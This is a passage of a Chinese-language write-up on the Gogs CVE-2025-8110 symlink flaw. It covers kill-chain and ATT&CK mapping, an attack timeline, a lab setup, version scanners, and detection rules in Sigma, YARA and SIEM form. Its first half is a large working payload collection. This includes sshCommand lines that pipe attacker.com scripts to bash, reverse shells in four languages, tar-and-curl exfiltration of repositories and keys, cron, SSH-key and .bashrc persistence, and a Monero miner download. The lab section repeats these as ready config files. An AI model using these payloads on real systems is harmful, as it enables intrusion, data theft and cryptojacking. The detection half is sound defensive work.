ln -s ../../.git/config link2
# 绕过某些简单的深度检查
技巧2:利用相对路径变化
# 在不同深度的目录创建符号链接
mkdir -p deep/nested/path
cd deep/nested/path
ln -s ../../../../.git/config config_link
技巧3:时间延迟触发
# 在.git/config中设置定时炸弹
[core]
sshCommand = "bash -c 'sleep $(($(date +%s) % 3600)); curl attacker.com/p.sh | bash'"
技巧4:多阶段payload
# 第一阶段:下载第二阶段
[core]
sshCommand = "curl -o /tmp/stage2 http://attacker.com/stage2.sh && chmod +x /tmp/stage2 && /tmp/stage2"
技巧5:隐蔽性增强
# 使用合法域名和HTTPS
[core]
sshCommand = "curl -H 'User-Agent: git/2.39.0' https://legitimate-cdn.com/update.sh | bash"
反向Shell变体
# Bash TCP
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Netcat
nc -e /bin/bash ATTACKER_IP 4444
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
数据窃取payload
# 打包并上传所有仓库
tar czf - /data/git/gogs-repositories | curl -X POST --data-binary @- http://attacker.com/exfil
# 查找并泄露敏感文件
find /data/git/gogs-repositories -name "*.pem" -o -name "*.key" | xargs tar czf - | base64 | curl -d @- http://attacker.com/keys
持久化payload
# SSH后门
echo "ssh-rsa AAAAB3... attacker@evil" >> ~/.ssh/authorized_keys
# Cron任务
(crontab -l 2>/dev/null; echo "*/10 * * * * curl http://attacker.com/c2.sh | bash") | crontab -
# .bashrc后门
echo 'curl -s http://attacker.com/beacon?user=$(whoami)&host=$(hostname)' >> ~/.bashrc
加密货币挖矿payload
# 下载并运行挖矿程序
curl -sL https://attacker.com/xmrig -o /tmp/xmrig && chmod +x /tmp/xmrig && /tmp/xmrig -o pool.minexmr.com:4444 -u WALLET_ADDRESS --daemon
Cyber Kill Chain映射
| 阶段 | 攻击活动 | CVE-2025-8110相关操作 |
|---|---|---|
| 1. 侦察(Reconnaissance) | 扫描公网Gogs实例 | Shodan/Censys搜索、端口扫描 |
| 2. 武器化(Weaponization) | 准备恶意仓库和payload | 创建符号链接、编写反弹shell |
| 3. 投递(Delivery) | 注册账户并创建仓库 | 推送包含符号链接的Git仓库 |
| 4. 利用(Exploitation) | 触发漏洞 | 通过API写入.git/config |
| 5. 安装(Installation) | 部署恶意软件 | Supershell C2框架 |
| 6. 命令与控制(C2) | 建立持久连接 | 反向SSH shell到119.45.176.196 |
| 7. 目标达成(Actions on Objectives) | 数据窃取、加密挖矿 | 访问所有Git仓库、部署矿工 |
MITRE ATT&CK映射
初始访问(Initial Access)
+- T1190: 利用面向公众的应用程序
+- CVE-2025-8110 Gogs API利用
执行(Execution)
+- T1059.004: Unix Shell
+- 通过sshCommand执行bash命令
持久化(Persistence)
+- T1136.001: 创建账户 - 本地账户
+- 注册Gogs用户账户
+- T1098: 账户操纵
+- 修改.git/config维持访问
权限提升(Privilege Escalation)
+- T1068: 利用软件漏洞提权
+- 可能从git用户提权到root
防御规避(Defense Evasion)
+- T1070.006: 清除历史
+- 清理bash历史记录
+- T1036: 伪装
+- 恶意仓库伪装成正常项目
凭证访问(Credential Access)
+- T1552.001: 文件中的凭证
+- 搜索.git/config、.env中的密钥
发现(Discovery)
+- T1083: 文件和目录发现
+- 枚举所有Git仓库
+- T1082: 系统信息发现
+- 收集OS、网络信息
横向移动(Lateral Movement)
+- T1021.004: SSH
+- 使用窃取的SSH密钥
收集(Collection)
+- T1005: 本地系统数据
+- 收集源代码和敏感文件
命令与控制(Command and Control)
+- T1071.001: Web协议
+- Supershell通过HTTP/HTTPS通信
+- T1573: 加密通道
+- SSH反向隧道
渗漏(Exfiltration)
+- T1041: C2通道渗漏
+- 通过Supershell传输数据
影响(Impact)
+- T1496: 资源劫持
+- 加密货币挖矿
+- T1565: 数据篡改
+- 修改源代码仓库
基于Wiz Research发现的攻击活动
时间线:2025年7月10日攻击
T+0小时:批量侦察
+- 攻击者使用Shodan搜索Gogs实例
+- 查询:product:"Gogs" port:3000
+- 识别开启公开注册的目标
+- 收集约1000+潜在目标
T+1小时:自动化攻击脚本启动
+- 批量注册8字符随机用户名
+- 用户名模式:[a-z0-9]{8}
+- 邮箱:<random>@tempmail.com
+- 成功注册700+账户
T+2小时:仓库创建和漏洞利用
+- 为每个账户创建恶意仓库
+- 仓库名模式:[a-z0-9]{8}
+- 推送预先准备的恶意Git对象
+- 包含符号链接:evil_link -> ../.git/config
+- 通过API注入恶意sshCommand
T+3小时:Payload部署
+- .git/config内容:
| [core]
| sshCommand = "curl http://119.45.176[.]196/install.sh | bash"
+- install.sh下载Supershell客户端
+- Supershell建立反向SSH连接
+- 连接到C2: 119.45.176[.]196:2222
T+4小时:后利用活动
+- 枚举所有Git仓库
+- 查找敏感文件(.env, config.json, etc.)
+- 部署加密货币矿工(可能)
+- 建立持久化机制
+- 进入隐蔽模式(低活动量)
T+数周至数月:持续控制
+- 定期回连C2服务器
+- 等待进一步指令
+- 可能进行数据窃取
+- 直到2025年7月15日被Wiz发现
威胁行为者特征分析
技术能力:
+- 中高级
+- 熟悉Git内部机制
+- 了解符号链接攻击技术
+- 能够开发自动化工具
+- 懂得使用C2框架(Supershell)
资源:
+- 自有C2基础设施(119.45.176.196)
+- 自动化攻击工具
+- 目标情报收集能力
+- 长期运营能力(7月至12月)
动机:
+- 金钱驱动(加密货币挖矿)
+- 数据窃取(源代码、凭证)
+- 可能的供应链攻击准备
+- 建立僵尸网络
战术特点:
+- 批量自动化攻击
+- 统一的命名模式(易于管理)
+- 快速行动(单日攻陷700+实例)
+- 长期潜伏(数月未被发现)
+- 使用开源工具(Supershell)避免自研成本
归属分析(推测)
地理位置线索:
+- C2 IP: 119.45.176.196
| +- 归属:中国(根据IP段)
+- 攻击时间:UTC 7月10日
| +- 可能时区:UTC+8(亚洲)
+- 目标选择:全球无差别
行为模式:
+- 类似其他僵尸网络运营者
+- 自动化程度高
+- 商业化动机明显
+- 非APT级别(但技术较成熟)
可能身份:
+- 网络犯罪团伙
+- 以金钱为目的的黑客
+- 僵尸网络运营商
+- 非国家支持的独立组织
变体1:隐蔽型攻击
策略:避免检测,长期潜伏
差异化操作:
+- 使用真实姓名和邮箱注册
+- 创建看似合法的仓库(带README、LICENSE等)
+- 仓库名称使用常见项目名(utils、common等)
+- 符号链接命名为合法配置文件(config.yaml等)
+- Payload延迟触发(时间炸弹)
+- C2通信使用HTTPS和合法域名
优势:
+- 更难被自动化检测
+- 可以长期驻留
+- 适合APT级别攻击
劣势:
+- 攻击规模受限
+- 需要更多人工操作
+- 成本更高
变体2:供应链投毒
策略:污染开源项目,影响下游
攻击流程:
1. 识别使用Gogs托管的流行开源库
2. 利用CVE-2025-8110获取仓库访问权
3. 注入恶意代码到关键文件
4. 等待开发者发布新版本
5. 恶意代码随正常更新传播
案例场景:
+- 目标:流行的npm/pip包
+- 注入:后门函数到核心模块
+- 伪装:在正常代码中隐藏恶意逻辑
+- 触发:特定条件下激活
+- 影响:所有使用该包的下游项目
检测难度:高
影响范围:极大
变体3:针对性攻击
策略:针对特定高价值目标
情报收集:
+- 确定目标组织使用Gogs
+- 识别关键项目和人员
+- 分析代码提交模式
+- 寻找敏感信息线索
定制化利用:
+- 创建与目标项目相关的仓库
+- 伪装成协作者或贡献者
+- Payload针对目标环境定制
+- 数据窃取目标明确
后利用:
+- 窃取特定知识产权
+- 获取客户数据库凭证
+- 部署高级持久化威胁(APT)
+- 横向移动到其他系统
检测和响应中的失败点
失败点1:缺少漏洞扫描
+- 组织未定期扫描Gogs版本
+- 未订阅安全公告
+- 错过CVE-2024-55947和后续警告
失败点2:默认不安全配置
+- 公开注册保持开启
+- 无网络访问控制
+- 缺少多因素认证
失败点3:无文件完整性监控
+- .git/config修改未被检测
+- 无异常文件访问告警
+- 缺少审计日志
失败点4:API滥用检测缺失
+- 批量注册未触发告警
+- 大量仓库创建未被关注
+- PutContents API调用模式异常未检测
+- 无行为基线和异常分析
失败点5:网络流量监控盲区
+- 出站连接到C2服务器未阻断
+- 异常SSH流量未分析
+- 无威胁情报集成
+- 缺少EDR/NDR解决方案
失败点6:事件响应延迟
+- 从攻击(7/10)到发现(7/15)延迟5天
+- 许多组织可能仍未发现
+- 无自动化响应流程
+- 缺少安全运营中心(SOC)
重要法律和道德声明
警告:
本章节内容仅用于以下合法目的:
1. 授权的渗透测试
2. 安全研究和漏洞分析
3. 防御措施开发和验证
4. 安全培训和教育
严禁用于:
1. 未经授权访问他人系统
2. 恶意攻击或破坏
3. 数据窃取或勒索
4. 任何违法犯罪活动
违反者将承担法律责任
完整实验环境架构
+-------------------------------------+
| 实验网络: 172.20.0.0/16 |
+-------------------------------------+
| |
| +--------------+ +-------------+ |
| | Gogs Server | | Attacker | |
| | (Victim) | | Machine | |
| | | | | |
| | 172.20.0.10 | | 172.20.0.20 | |
| | Port: 3000 | | | |
| +--------------+ +-------------+ |
| |
+-------------------------------------+
步骤1:创建Docker网络
# 创建隔离的实验网络
docker network create \
--driver bridge \
--subnet=172.20.0.0/16 \
--gateway=172.20.0.1 \
gogs-lab-network
# 验证网络创建
docker network ls | grep gogs-lab
docker network inspect gogs-lab-network
步骤2:部署vulnerable Gogs实例
# 创建数据目录
mkdir -p ~/gogs-lab/{gogs-data,attacker-tools}
cd ~/gogs-lab
# 启动Gogs 0.13.0(受影响版本)
docker run -d \
--name gogs-vulnerable \
--network gogs-lab-network \
--ip 172.20.0.10 \
-p 3000:3000 \
-v $(pwd)/gogs-data:/data \
gogs/gogs:0.13.0
# 等待服务启动
sleep 10
# 验证服务运行
curl -I http://localhost:3000
docker logs gogs-vulnerable | tail -20
步骤3:初始化Gogs配置
# 方法A:通过Web界面手动配置
# 访问 http://localhost:3000/install
# 填写以下配置:
# - 数据库类型: SQLite3
# - 应用名称: Gogs Lab
# - 仓库根目录: /data/git/gogs-repositories
# - 运行用户: git
# - 域名: localhost
# - SSH端口: 22
# - HTTP端口: 3000
# - 应用URL: http://localhost:3000/
# - 管理员账户: admin
# - 密码: Admin123!
# - 邮箱: [email protected]
# 方法B:使用预配置文件
cat > gogs-data/gogs/conf/app.ini <<'EOF'
APP_NAME = Gogs Lab
RUN_USER = git
RUN_MODE = prod
[database]
TYPE = sqlite3
HOST = 127.0.0.1:3306
NAME = gogs
USER = root
PASSWORD =
PATH = data/gogs.db
[repository]
ROOT = /data/git/gogs-repositories
[server]
DOMAIN = localhost
HTTP_PORT = 3000
ROOT_URL = http://localhost:3000/
DISABLE_SSH = false
SSH_PORT = 22
[security]
INSTALL_LOCK = true
SECRET_KEY = <generate-random-key>
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
ENABLE_NOTIFY_MAIL = false
ENABLE_CAPTCHA = false
[log]
MODE = file
LEVEL = Info
ROOT_PATH = /app/gogs/log
EOF
# 重启Gogs以应用配置
docker restart gogs-vulnerable
sleep 5
步骤4:部署攻击者环境
# 创建攻击者容器(Kali Linux)
docker run -d \
--name attacker-machine \
--network gogs-lab-network \
--ip 172.20.0.20 \
-v $(pwd)/attacker-tools:/root/tools \
-it kalilinux/kali-rolling /bin/bash
# 或使用Ubuntu
docker run -d \
--name attacker-machine \
--network gogs-lab-network \
--ip 172.20.0.20 \
-v $(pwd)/attacker-tools:/root/tools \
-it ubuntu:22.04 /bin/bash
# 进入攻击者容器
docker exec -it attacker-machine /bin/bash
# 安装必要工具
apt-get update
apt-get install -y git curl python3 python3-pip netcat-traditional nmap
# 安装Python依赖
pip3 install requests
# 验证网络连通性
ping -c 3 172.20.0.10
curl http://172.20.0.10:3000
使用VirtualBox/VMware搭建
环境规划:
+- VM1: Gogs Server (Ubuntu 22.04)
| +- IP: 192.168.56.10
| +- RAM: 2GB
| +- Disk: 20GB
| +- Network: Host-Only Adapter
|
+- VM2: Attacker Machine (Kali Linux)
| +- IP: 192.168.56.20
| +- RAM: 4GB
| +- Disk: 40GB
| +- Network: Host-Only Adapter
|
+- Host-Only Network: vboxnet0
+- Subnet: 192.168.56.0/24
Gogs Server VM配置
# 在Ubuntu 22.04 VM上
# 1. 更新系统
sudo apt-get update && sudo apt-get upgrade -y
# 2. 安装依赖
sudo apt-get install -y git sqlite3
# 3. 创建git用户
sudo adduser --system --shell /bin/bash --group --disabled-password --home /home/git git
# 4. 下载Gogs 0.13.0
sudo su - git
wget https://github.com/gogs/gogs/releases/download/v0.13.0/gogs_0.13.0_linux_amd64.tar.gz
tar -xzf gogs_0.13.0_linux_amd64.tar.gz
cd gogs
# 5. 启动Gogs
./gogs web
# 6. 配置为系统服务(可选)
sudo nano /etc/systemd/system/gogs.service
Systemd服务文件内容:
[Unit]
Description=Gogs
After=syslog.target
After=network.target
[Service]
Type=simple
User=git
Group=git
WorkingDirectory=/home/git/gogs
ExecStart=/home/git/gogs/gogs web
Restart=always
Environment=USER=git HOME=/home/git
[Install]
WantedBy=multi-user.target
# 启用并启动服务
sudo systemctl daemon-reload
sudo systemctl enable gogs
sudo systemctl start gogs
sudo systemctl status gogs
Attacker VM配置
# 在Kali Linux VM上
# 1. 更新系统
sudo apt-get update && sudo apt-get upgrade -y
# 2. 安装工具
sudo apt-get install -y \
git \
python3 \
python3-pip \
nmap \
netcat-traditional \
curl \
wget \
metasploit-framework
# 3. 安装Python库
pip3 install requests urllib3
# 4. 克隆利用脚本
git clone https://github.com/your-repo/cve-2025-8110-exploit.git
cd cve-2025-8110-exploit
# 5. 验证网络连通性
ping -c 3 192.168.56.10
nmap -p 3000 192.168.56.10
curl http://192.168.56.10:3000
创建测试仓库
# 在攻击者机器上
# 1. 创建正常测试仓库
mkdir ~/test-repos
cd ~/test-repos
# 2. 初始化Git仓库
mkdir normal-repo
cd normal-repo
git init
git config user.email "[email protected]"
git config user.name "Test User"
# 3. 添加正常文件
echo "# Normal Repository" > README.md
echo "print('Hello, World!')" > app.py
git add .
git commit -m "Initial commit"
# 4. 创建恶意测试仓库
cd ~/test-repos
mkdir malicious-repo
cd malicious-repo
git init
git config user.email "[email protected]"
git config user.name "Attacker"
# 5. 创建符号链接
ln -s ../.git/config evil_symlink
echo "# Malicious Repository" > README.md
# 6. 提交
git add .
git commit -m "Initial commit with symlink"
# 7. 验证符号链接
ls -la evil_symlink
git ls-tree HEAD evil_symlink
准备测试Payload
# 创建各种测试payload
# 1. 反向Shell payload
cat > ~/payloads/reverse_shell_config <<'EOF'
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = "bash -c 'bash -i >& /dev/tcp/172.20.0.20/4444 0>&1'"
EOF
# 2. 信息收集payload
cat > ~/payloads/recon_config <<'EOF'
[core]
sshCommand = "bash -c 'whoami > /tmp/user.txt; hostname >> /tmp/user.txt; ip a >> /tmp/user.txt; curl http://172.20.0.20:8000/$(cat /tmp/user.txt | base64)'"
EOF
# 3. 数据窃取payload
cat > ~/payloads/exfil_config <<'EOF'
[core]
sshCommand = "bash -c 'find /data/git/gogs-repositories -name \"*.md\" | xargs tar czf - | base64 | curl -d @- http://172.20.0.20:8000/exfil'"
EOF
# 4. 持久化payload
cat > ~/payloads/persistence_config <<'EOF'
[core]
sshCommand = "bash -c 'echo \"*/5 * * * * curl http://172.20.0.20:8000/beacon\" | crontab -'"
EOF
# Base64编码所有payload(用于API调用)
for file in ~/payloads/*_config; do
base64 -w 0 "$file" > "${file}.b64"
done
配置Gogs日志记录
# 在Gogs服务器上修改app.ini
sudo nano /home/git/gogs/custom/conf/app.ini
# 添加详细日志配置
[log]
MODE = console, file
LEVEL = Trace
ROOT_PATH = /home/git/gogs/log
[log.console]
LEVEL = Trace
[log.file]
LEVEL = Trace
FILE_NAME = gogs.log
LOG_ROTATE = true
MAX_SIZE_SHIFT = 28
DAILY_ROTATE = true
MAX_DAYS = 7
# 重启Gogs
sudo systemctl restart gogs
# 实时监控日志
tail -f /home/git/gogs/log/gogs.log
配置网络流量捕获
# 在实验网络上捕获流量
# 1. 安装tcpdump
docker exec gogs-vulnerable apk add tcpdump
# 2. 开始捕获
docker exec gogs-vulnerable tcpdump -i eth0 -w /data/capture.pcap
# 3. 或在宿主机上捕获Docker网络
sudo tcpdump -i br-<network-id> -w ~/gogs-lab/traffic.pcap
# 4. 使用Wireshark分析
wireshark ~/gogs-lab/traffic.pcap
配置API调用监控
# 在Gogs容器中添加API日志
# 方法A:修改Gogs源码(高级)
# 在routes/api/v1/repo/file.go中添加日志
# 方法B:使用反向代理记录
# 在Docker环境中添加nginx容器作为代理
docker run -d \
--name nginx-proxy \
--network gogs-lab-network \
-p 8080:80 \
-v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro \
nginx:alpine
Nginx配置示例:
events {
worker_connections 1024;
}
http {
log_format详细 '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'$request_time $upstream_response_time';
access_log /var/log/nginx/access.log detailed;
server {
listen 80;
location / {
proxy_pass http://172.20.0.10:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location /api/v1/repos {
access_log /var/log/nginx/api_calls.log detailed;
proxy_pass http://172.20.0.10:3000;
}
}
}
确保实验环境隔离
# 1. 防火墙规则(宿主机)
sudo iptables -A FORWARD -i br-<gogs-lab-network> -j DROP
sudo iptables -A FORWARD -i br-<gogs-lab-network> -o br-<gogs-lab-network> -j ACCEPT
# 2. Docker网络隔离
docker network create --internal gogs-lab-internal
# 3. 禁用容器外部访问
docker run -d \
--name gogs-isolated \
--network gogs-lab-internal \
--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=SETUID \
--cap-add=SETGID \
gogs/gogs:0.13.0
# 4. 使用只读文件系统(除必要目录)
docker run -d \
--name gogs-readonly \
--read-only \
--tmpfs /tmp \
--tmpfs /run \
-v gogs-data:/data \
gogs/gogs:0.13.0
实验完成后清理
# 停止所有容器
docker stop gogs-vulnerable attacker-machine nginx-proxy
# 删除容器
docker rm gogs-vulnerable attacker-machine nginx-proxy
# 删除网络
docker network rm gogs-lab-network
# 清理数据(可选,注意备份)
rm -rf ~/gogs-lab
# 清理iptables规则
sudo iptables -F
sudo iptables -X
自动化扫描工具
1. Nuclei检测模板
根据rxerium的GitHub仓库,可以使用Nuclei进行快速检测:
# CVE-2025-8110.yaml
id: CVE-2025-8110
info:
name: Gogs <= 0.13.3 - Symlink Bypass RCE
author: rxerium
severity: high
description: Gogs version 0.13.3 and earlier are vulnerable to symlink bypass leading to RCE
reference:
- https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2025-8110
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-8110
tags: cve,cve2025,gogs,rce
requests:
- method: GET
path:
- "{{BaseURL}}/user/login"
matchers-condition: and
matchers:
- type: word
words:
- "Gogs Version"
part: body
- type: regex
regex:
- 'Gogs Version: 0\.(([0-9])|([0-1][0-2])|13\.[0-3])'
part: body
extractors:
- type: regex
name: version
group: 1
regex:
- 'Gogs Version: ([0-9.]+)'
part: body
使用方法:
# 单个目标扫描
nuclei -u https://target.com:3000 -t CVE-2025-8110.yaml
# 批量扫描
cat targets.txt | nuclei -t CVE-2025-8110.yaml
# 输出到文件
nuclei -l targets.txt -t CVE-2025-8110.yaml -o results.txt
# 集成到CI/CD
nuclei -l internal-gogs-instances.txt -t CVE-2025-8110.yaml -json -o scan-results.json
2. Nmap NSE脚本
-- gogs-cve-2025-8110.nse
description = [[
检测Gogs实例是否受CVE-2025-8110影响
]]
author = "Security Researcher"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
portrule = shortport.http
action = function(host, port)
local http = require "http"
local string = require "string"
local vulns = require "vulns"
local vuln = {
title = "Gogs Symlink Bypass RCE (CVE-2025-8110)",
state = vulns.STATE.NOT_VULN,
description = [[
Gogs版本<= 0.13.3存在符号链接绕过漏洞,
允许经过身份验证的用户执行任意代码。
]],
references = {
'https://nvd.nist.gov/vuln/detail/CVE-2025-8110',
'https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit'
},
}
local response = http.get(host, port, "/user/login")
if response.status == 200 then
local version_match = string.match(response.body, "Gogs Version: ([0-9%.]+)")
if version_match then
local major, minor, patch = string.match(version_match, "(%d+)%.(%d+)%.(%d+)")
if major and tonumber(major) == 0 then
if tonumber(minor) < 13 or
(tonumber(minor) == 13 and tonumber(patch) <= 3) then
vuln.state = vulns.STATE.VULN
vuln.extra_info = "Detected version: " .. version_match
end
end
end
end
return vulns.Report:new(SCRIPT_NAME, host, port):make_output(vuln)
end
使用方法:
# 单个主机扫描
nmap -p 3000 --script gogs-cve-2025-8110 target.com
# 网段扫描
nmap -p 3000 --script gogs-cve-2025-8110 192.168.1.0/24
# 详细输出
nmap -p 3000 --script gogs-cve-2025-8110 -v target.com
3. Python扫描脚本
#!/usr/bin/env python3
"""
CVE-2025-8110 批量扫描器
"""
import requests
import re
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import argparse
class GogsScanner:
def __init__(self, timeout=10, threads=10):
self.timeout = timeout
self.threads = threads
self.vulnerable_hosts = []
def check_host(self, url):
"""检查单个主机是否受影响"""
try:
# 标准化URL
if not url.startswith(('http://', 'https://')):
url = 'http://' + url
# 请求登录页面获取版本
resp = requests.get(
f"{url}/user/login",
timeout=self.timeout,
allow_redirects=True,
verify=False
)
if resp.status_code == 200:
# 提取版本号
version_match = re.search(r'Gogs Version: ([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
# 检查是否为受影响版本
if self.is_vulnerable_version(version):
result = {
'url': url,
'version': version,
'vulnerable': True
}
# 检查公开注册
if 'sign up' in resp.text.lower():
result['public_registration'] = True
else:
result['public_registration'] = False
return result
return {'url': url, 'vulnerable': False}
except Exception as e:
return {'url': url, 'error': str(e)}
def is_vulnerable_version(self, version):
"""判断版本是否受影响"""
try:
parts = version.split('.')
major = int(parts[0])
minor = int(parts[1]) if len(parts) > 1 else 0
patch = int(parts[2]) if len(parts) > 2 else 0
# 0.x.x 版本都受影响
if major == 0:
if minor < 13:
return True
elif minor == 13 and patch <= 3:
return True
return False
except:
return False
def scan_targets(self, targets):
"""批量扫描目标列表"""
print(f"[*] 开始扫描 {len(targets)} 个目标...")
print(f"[*] 线程数: {self.threads}")
print("-" * 70)
with ThreadPoolExecutor(max_workers=self.threads) as executor:
future_to_url = {executor.submit(self.check_host, url): url for url in targets}
for future in as_completed(future_to_url):
result = future.result()
if result.get('vulnerable'):
self.vulnerable_hosts.append(result)
status = "[!] VULNERABLE"
print(f"{status:20} {result['url']:40} Version: {result['version']}")
if result.get('public_registration'):
print(f"{'':20} {'-> PUBLIC REGISTRATION ENABLED':40}")
elif result.get('error'):
print(f"{'[ERROR]':20} {result['url']:40} {result['error']}")
else:
print(f"{'[NOT VULN]':20} {result['url']:40}")
print("-" * 70)
print(f"\n[+] 扫描完成")
print(f"[+] 发现 {len(self.vulnerable_hosts)} 个受影响主机")
return self.vulnerable_hosts
def main():
parser = argparse.ArgumentParser(description='CVE-2025-8110 Gogs漏洞扫描器')
parser.add_argument('-t', '--target', help='单个目标URL')
parser.add_argument('-l', '--list', help='目标列表文件')
parser.add_argument('--threads', type=int, default=10, help='并发线程数(默认10)')
parser.add_argument('--timeout', type=int, default=10, help='请求超时时间(默认10秒)')
parser.add_argument('-o', '--output', help='输出结果到文件')
args = parser.parse_args()
if not args.target and not args.list:
parser.print_help()
sys.exit(1)
# 读取目标
targets = []
if args.target:
targets.append(args.target)
if args.list:
with open(args.list, 'r') as f:
targets.extend([line.strip() for line in f if line.strip()])
# 执行扫描
scanner = GogsScanner(timeout=args.timeout, threads=args.threads)
vulnerable = scanner.scan_targets(targets)
# 输出结果
if args.output and vulnerable:
with open(args.output, 'w') as f:
for host in vulnerable:
f.write(f"{host['url']},{host['version']},{host.get('public_registration', 'Unknown')}\n")
print(f"[+] 结果已保存至: {args.output}")
if __name__ == '__main__':
main()
使用示例:
# 扫描单个目标
python3 scanner.py -t http://target.com:3000
# 从文件批量扫描
python3 scanner.py -l targets.txt --threads 20
# 保存结果
python3 scanner.py -l targets.txt -o results.csv
# 完整命令
python3 scanner.py -l targets.txt --threads 50 --timeout 5 -o vulnerable_hosts.csv
文件系统指标
# 1. 检查8字符随机仓库名
find /data/git/gogs-repositories -maxdepth 2 -type d -regextype posix-extended -regex '.*/[a-z0-9]{8}/[a-z0-9]{8}'
# 2. 查找可疑符号链接
find /data/git/gogs-repositories -type l -exec sh -c '
target=$(readlink -f "$1")
repo=$(dirname "$1")
if ! echo "$target" | grep -q "^$repo"; then
echo "SUSPICIOUS: $1 -> $target"
fi
' _ {} \;
# 3. 检查.git/config修改
find /data/git/gogs-repositories -name config -mtime -30 -exec grep -l "sshCommand" {} \;
# 4. 查找异常的Git配置
find /data/git/gogs-repositories -name config -exec grep -H "bash.*curl\|/dev/tcp\|nc.*-e\|python.*socket" {} \;
# 5. 检查最近创建的仓库
find /data/git/gogs-repositories -type d -name "*.git" -newermt "2025-07-10" ! -newermt "2025-07-11"
日志分析指标
# 1. 查找批量注册活动
grep "Created account" /app/gogs/log/gogs.log | awk '{print $1}' | uniq -c | sort -rn
# 2. 查找PutContents API调用
grep "PutContents" /app/gogs/log/gogs.log | grep "evil\|symlink\|link"
# 3. 检查异常API访问模式
awk '/PUT.*\/api\/v1\/repos.*\/contents\// {print $1, $2, $NF}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# 4. 查找相同时间窗口的仓库创建
grep "Created repository" /app/gogs/log/gogs.log | awk '{print $1}' | uniq -c | awk '$1 > 10'
网络指标
# 1. 检测到C2服务器的连接
netstat -an | grep "119.45.176.196"
ss -tnp | grep "119.45.176.196"
# 2. 异常出站SSH连接
netstat -an | grep ":22" | grep ESTABLISHED | grep -v "known_ssh_server"
# 3. 检查反向shell特征
lsof -i -P -n | grep -E "bash|sh" | grep ESTABLISHED
# 4. 监控curl/wget进程
ps aux | grep -E "curl|wget" | grep -v grep
已知IoC列表
# CVE-2025-8110 Indicators of Compromise
IP_ADDRESSES:
- 119.45.176.196 # Supershell C2服务器
REPOSITORY_PATTERNS:
- regex: "^[a-z0-9]{8}$"
description: "8字符随机仓库名/用户名"
FILENAMES:
- "evil_symlink"
- "config_link"
- "mal_link"
GIT_CONFIG_PATTERNS:
- "sshCommand.*bash -c"
- "sshCommand.*curl.*bash"
- "sshCommand.*/dev/tcp"
- "sshCommand.*nc -e"
PROCESS_NAMES:
- "supershell"
- "xmrig" # 如果部署挖矿
NETWORK_CONNECTIONS:
- "119.45.176.196:*"
- "*:2222" # Supershell默认端口
TIMESTAMPS:
- "2025-07-10" # 首次大规模攻击日期
- "2025-11-01" # 第二波攻击
SIEM规则示例
Splunk查询
# 检测8字符仓库批量创建
index=gogs sourcetype=gogs_log "Created repository"
| rex field=_raw "Created repository: (?<repo_name>[a-z0-9]{8})"
| stats count by repo_name, user
| where count > 5
# 检测PutContents API异常
index=gogs sourcetype=access_log method=PUT uri_path="/api/v1/repos/*/contents/*"
| stats count by src_ip, user
| where count > 50
# 检测.git/config修改
index=gogs sourcetype=file_integrity path="*/?.git/config"
| search action="modified"
| table _time, path, user, changes
# 关联分析:注册后立即创建仓库
index=gogs sourcetype=gogs_log
| transaction user startswith="Created account" endswith="Created repository" maxspan=5m
| where duration < 300
| table user, duration, eventcount
ELK (Elasticsearch) 查询
{
"query": {
"bool": {
"must": [
{
"range": {
"@timestamp": {
"gte": "now-30d"
}
}
},
{
"regexp": {
"repository.name": "[a-z0-9]{8}"
}
},
{
"match": {
"action": "created"
}
}
]
}
},
"aggs": {
"by_user": {
"terms": {
"field": "user.name",
"size": 100
},
"aggs": {
"repo_count": {
"cardinality": {
"field": "repository.name"
}
}
}
}
}
}
Sigma规则
title: Gogs CVE-2025-8110 - Suspicious Repository Creation
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: 检测与CVE-2025-8110相关的可疑仓库创建模式
author: Security Team
date: 2025/12/10
references:
- https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit
- https://nvd.nist.gov/vuln/detail/CVE-2025-8110
logsource:
product: gogs
service: application
detection:
selection:
action: 'repository.created'
filter:
repository.name|re: '^[a-z0-9]{8}$'
user.name|re: '^[a-z0-9]{8}$'
condition: selection and filter
falsepositives:
- Legitimate repositories with 8-character names
level: high
tags:
- attack.execution
- attack.t1190
- cve.2025.8110
YARA规则
rule Gogs_CVE_2025_8110_Malicious_GitConfig
{
meta:
description = "检测恶意的.git/config文件"
author = "Security Researcher"
date = "2025-12-10"
reference = "CVE-2025-8110"
strings:
$config_header = "[core]"
$ssh_command = "sshCommand" nocase
// 可疑命令模式
$bash_reverse = /bash.*\/dev\/tcp\/[0-9.]+\/[0-9]+/
$curl_pipe = /curl.*\|.*bash/
$wget_exec = /wget.*&&.*chmod.*&&/
$python_socket = /python.*socket.*connect/
$nc_reverse = /nc.*-e.*\/bin\/(ba)?sh/
condition:
filesize < 10KB and
$config_header and
$ssh_command and
any of ($bash_reverse, $curl_pipe, $wget_exec, $python_socket, $nc_reverse)
}
rule Gogs_CVE_2025_8110_Supershell_Artifact
{
meta:
